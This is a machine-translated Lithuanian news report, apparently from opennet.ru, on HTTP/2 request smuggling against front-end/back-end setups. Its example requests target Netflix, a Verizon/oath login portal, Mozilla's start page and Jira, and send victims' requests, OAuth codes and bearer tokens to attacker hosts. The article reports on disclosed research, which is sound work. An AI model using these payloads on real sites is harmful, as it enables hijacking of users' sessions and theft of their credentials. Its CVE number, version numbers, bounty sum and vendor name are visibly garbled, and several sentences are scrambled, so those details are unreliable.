Nauja ataka prieš priekinės galinės sistemos sistemas, leidžianti įsitraukti į užklausas

Žiniatinklio sistemos, kuriose sąsaja priima ryšius per HTTP/2 ir perduoda į backend per HTTP/1.1, susidūrė su nauju HTTP užklausų kontrabandos atakos variantu, kuris leidžia siunčiant specialiai sukurtas klientų užklausas įsiterpti į turinį. kitų naudotojų užklausų, apdorotų tame pačiame sraute tarp sąsajos ir užpakalinės sistemos. Ataka gali būti naudojama norint įterpti kenkėjišką JavaScript kodą į seansą su teisėta svetaine, apeiti prieigos kontrolės sistemas ir perimti autentifikavimo parametrus.

Problema turi įtakos žiniatinklio tarpiniams serveriams, apkrovos balansavimo priemonėms, žiniatinklio spartintuvams, turinio pateikimo sistemoms ir kitoms konfigūracijoms, kuriose užklausos peradresuojamos pagal priekinės ir užpakalinės sistemos schemą. Tyrimo autorius pademonstravo galimybę atakuoti „Netflix“, „Verizon“, „Bitbucket“, „Netlify CDN“ ir „Atlassian“ sistemas ir gavo 56 5 USD pažeidžiamumo premijų programoms. Problema taip pat patvirtinta F2021 Networks produktuose. Iš dalies problema paveikia mod_proxy Apache http serveryje (CVE-33193-2.4.49), tikimasi pataisyti 3 versijoje (kūrėjams buvo pranešta apie problemą gegužės pradžioje ir gavo 1.21.1 mėnesius jai išspręsti). „nginx“ galimybė vienu metu nurodyti antraštes „Content-Length“ ir „Transfer-Encoding“ buvo užblokuota paskutiniame leidime (XNUMX). Atakos įrankiai jau buvo įtraukti į „Burp“ įrankių rinkinį ir yra prieinami kaip „Turbo Intruder“ plėtinys.

Naujojo užklausų įtraukimo į srautą metodo veikimo principas yra panašus į pažeidžiamumą, kurį prieš dvejus metus nustatė tas pats tyrėjas, tačiau apsiriboja priekinėmis programomis, kurios priima užklausas per HTTP/1.1. Prisiminkite, kad schemoje „frontend-backend“ klientų užklausas gauna papildomas mazgas – sąsaja, kuri užmezga ilgalaikį TCP ryšį su užklausas tiesiogiai apdorojančia bazine sistema. Per šį bendrą ryšį dažniausiai perduodamos užklausos iš skirtingų vartotojų, kurios viena po kitos seka grandine, atskirtos HTTP protokolu.

Klasikinė „HTTP užklausų kontrabandos“ ataka buvo pagrįsta tuo, kad priekinės ir užpakalinės programos interpretuoja HTTP antraštes „Content-Length“ (nustato bendrą užklausoje esančių duomenų dydį) ir „Transfer-Encoding: chunked“ ( leidžia duomenis perkelti dalimis) skirtingai . Pavyzdžiui, jei sąsaja palaiko tik „Content-Length“, bet nepaiso „Transfer-Encoding: chunked“, užpuolikas gali išsiųsti užklausą, kurioje abiejose yra antraštės „Content-Length“ ir „Transfer-Encoding: chunked“, bet dydis yra "Turinio ilgis" neatitinka susmulkintos grandinės dydžio. Tokiu atveju priekinė programa apdoros ir peradresuos užklausą pagal „turinio ilgį“, o užpakalinė programa lauks, kol bus baigtas blokas pagal „Transfer-Encoding: chunked“, o likusi užpuoliko užklausos dalis bus užpildyta. užsienio užklausos pradžioje, perduota toliau.

Skirtingai nuo tekstinio HTTP/1.1 protokolo, kuris analizuojamas eilutės lygiu, HTTP/2 yra dvejetainis protokolas ir manipuliuoja iš anksto nustatyto dydžio duomenų blokais. Tačiau HTTP/2 naudoja pseudoantraštes, kurios atitinka įprastas HTTP antraštes. Sąveikaujant su backend per HTTP/1.1, frontend šias pseudoantraštes paverčia panašiomis HTTP/1.1 HTTP antraštėmis. Problema ta, kad backend priima sprendimus dėl srauto analizavimo pagal HTTP antraštes, kurias nustatė sąsaja, nežinodama pradinės užklausos parametrų.

Įskaitant pseudoantraštes, vertės „turinio ilgis“ ir „perdavimo kodavimas“ gali būti perduodamos, nepaisant to, kad jos nenaudojamos HTTP / 2, nes visų duomenų dydis nustatomas atskiras laukas. Tačiau konvertuojant HTTP/2 užklausą į HTTP/1.1, šios antraštės perkeliamos ir gali supainioti užpakalinę programą. Yra dvi pagrindinės atakos parinktys: H2.TE ir H2.CL, kai užpakalinė sistema suklaidinama dėl neteisingos perdavimo kodavimo arba turinio ilgio reikšmės, neatitinkančios tikrojo užklausos turinio, kurį priekinė sistema gavo per HTTP/2 protokolas.

Nauja ataka prieš priekinės galinės sistemos sistemas, leidžianti įsitraukti į užklausas

Kaip H2.CL atakos pavyzdys, turinio ilgio pseudoantraštė yra netinkamai suformuota siunčiant HTTP/2 užklausą „Netflix“. Dėl šios užklausos pridedama panaši „Content-Length“ HTTP antraštė, kai prieiti prie užpakalinės programos per HTTP/1.1, tačiau kadangi turinio ilgio dydis yra mažesnis nei tikrasis dydis, kai kurie uodegoje esantys duomenys apdorojami kaip kito prašymo pradžia.

Pavyzdžiui, HTTP/2 užklausa :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Išsiųs užklausą užpakalinei sistemai: POST /n HTTP/1.1 Priegloba: www.netflix.com Turinio ilgis: 4 abcdGET /n HTTP/1.1 Priegloba: 02.rs?x.netflix.com Foo: bar

Kadangi turinio ilgis nustatytas į 4, užpakalinė programa priims tik „abcd“ kaip užklausos turinį, o likusią „GET /n HTTP/1.1…“ dalį apdoros kaip kitos užklausos, susietos su kitu vartotoju, pradžią. Atitinkamai, srautas bus nesinchronizuotas, o atsakant į kitą užklausą bus grąžintas netikros užklausos apdorojimo rezultatas. „Netflix“ atveju, suklastotos užklausos antraštėje „Host:“ nurodžius trečiosios šalies prieglobą, klientui ir leido klientui perduoti savavališką turinį, įskaitant „JavaScript“ kodo vykdymą „Netflix“ svetainės kontekste.

Antrasis atakos variantas (H2.TE) yra susijęs su antraštės „Transfer-Encoding: chunked“ pakeitimu. Naudoti perdavimo kodavimo pseudoantraštę HTTP/2 draudžia specifikacija, o užklausos su ja turi būti traktuojamos kaip neteisingos. Nepaisant to, kai kurie sąsajos diegimai nepaiso šio reikalavimo ir leidžia HTTP/2 naudoti perdavimo kodavimo pseudoantraštę, kuri reiškia panašią HTTP antraštę. Jei yra antraštė „Transfer-Encoding“, užpakalinė programa gali laikyti jai pirmenybę ir išanalizuoti duomenis dalimis „gabalų“ režimu naudodama skirtingo dydžio blokus formatu „{size}\r\n{block} \r\n{dydis} \r\n{block}\r\n0", nepaisant pradinio padalijimo pagal bendrą dydį.

Tokio tarpo buvimą įrodė „Verizon“ pavyzdys. Tačiau problema buvo susijusi su autentifikavimo portalu ir turinio valdymo sistema, kurią taip pat naudoja tokios svetainės kaip „Huffington Post“ ir „Engadget“. Pavyzdžiui, kliento užklausa per HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding gabalais 0 GET /oops HTTP/1.1 Host: psres.net Turinio ilgis: 10 x=

Sukelta HTTP/1.1 užklausa atgaliniam serveriui: POST /identity/XUI HTTP/1.1 Priegloba: id.b2b.oath.com Turinio ilgis: 66 Perdavimo kodavimas: gabalais 0 GET /oops HTTP/1.1 Priegloba: psres.net Turinys- Ilgis : 10x =

Užpakalinė programa savo ruožtu nepaisė antraštės „Content-Length“ ir atliko srauto skaidymą pagal „Transfer-Encoding: chunked“. Praktiškai ataka leido nukreipti vartotojų užklausas į jūsų svetainę, įskaitant užklausų, susijusių su OAuth autentifikavimu, perėmimą, kurių parametrai buvo rodomi Referer antraštėje, taip pat autentifikavimo seanso modeliavimą ir vartotojo kredencialų siuntimo inicijavimą užpuoliko šeimininkas. GET /b2blanding/show/oops HTTP/1.1 Priegloba: psres.net Nuoroda: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Priegloba: psres.net Autorizacija: Nešėjas eyJhcGwiOiJIUzI1Gi1InkR6cCI6

Norint atakuoti HTTP/2 diegimus, kurie neleidžia nurodyti perdavimo kodavimo pseudoantraštės, buvo pasiūlytas kitas metodas, apimantis antraštę „Transfer-Encoding“ pakeisti pridedant ją prie kitų pseudoantraštių, atskirtų naujos eilutės simboliu (kai konvertuojama). į HTTP/1.1 šiuo atveju sukuriamos dvi atskiros HTTP antraštės).

Pavyzdžiui, „Atlassian Jira“ ir „Netlify CDN“ (naudojami „Firefox“ „Mozilla“ pradžios puslapiui aptarnauti) turėjo įtakos šiai problemai. Tiksliau, HTTP/2 užklausa :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Turinio ilgis: 5\r\n \r\nx=

sukėlė HTTP/1.1 POST / HTTP/1.1 užklausą, kuri buvo išsiųsta į užpakalinę programą\r\n Priegloba: start.mozilla.org\r\n Foo: b\r\n Perdavimo kodavimas: chunked\r\n Turinys- Ilgis: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Priegloba: evil-netlify-domain\r\n Turinio ilgis: 5\r\n \ r\nx=

Kitas variantas pakeisti antraštę „Transfer-Encoding“ buvo pridėti ją prie kitos pseudoantraštės pavadinimo arba eilutės su užklausos metodu. Pavyzdžiui, pasiekiant „Atlassian Jira“, pseudoantraštės pavadinimas „foo: bar\r\ntransfer-encoding“ su reikšme „chunked“ lėmė HTTP antraštes „foo: bar“ ir „transfer-encoding“. : chunked“, o pseudoantraštėje „:method“ nurodant reikšmę „GET / HTTP/1.1\r\nPerdavimo kodavimas: chunked“ buvo išverstas į „GET / HTTP/1.1\r\ntransfer-encoding: chunked“ .

Problemą nustatęs mokslininkas taip pat pasiūlė užklausų tunelavimo techniką frontendams atakuoti, kai kiekvienam IP adresui sukuriamas atskiras ryšys su backend ir nemaišomas skirtingų vartotojų srautas. Siūloma technika neleidžia įsikišti į kitų vartotojų užklausas, tačiau leidžia apnuodyti bendrinamą talpyklą, kuri turi įtakos kitų užklausų apdorojimui, ir leidžia pakeisti vidines HTTP antraštes, naudojamas paslaugų informacijai perkelti iš sąsajos į vidinę dalį (pavyzdžiui, autentifikuojant priekinės dalies pusėje tokiose antraštėse galima siųsti informaciją apie dabartinį vartotoją į užpakalinę dalį). Kaip metodo taikymo praktikoje pavyzdį, naudojant apsinuodijimą talpyklomis, buvo galima valdyti puslapius Bitbucket tarnyboje.

Šaltinis: opennet.ru

Добавить комментарий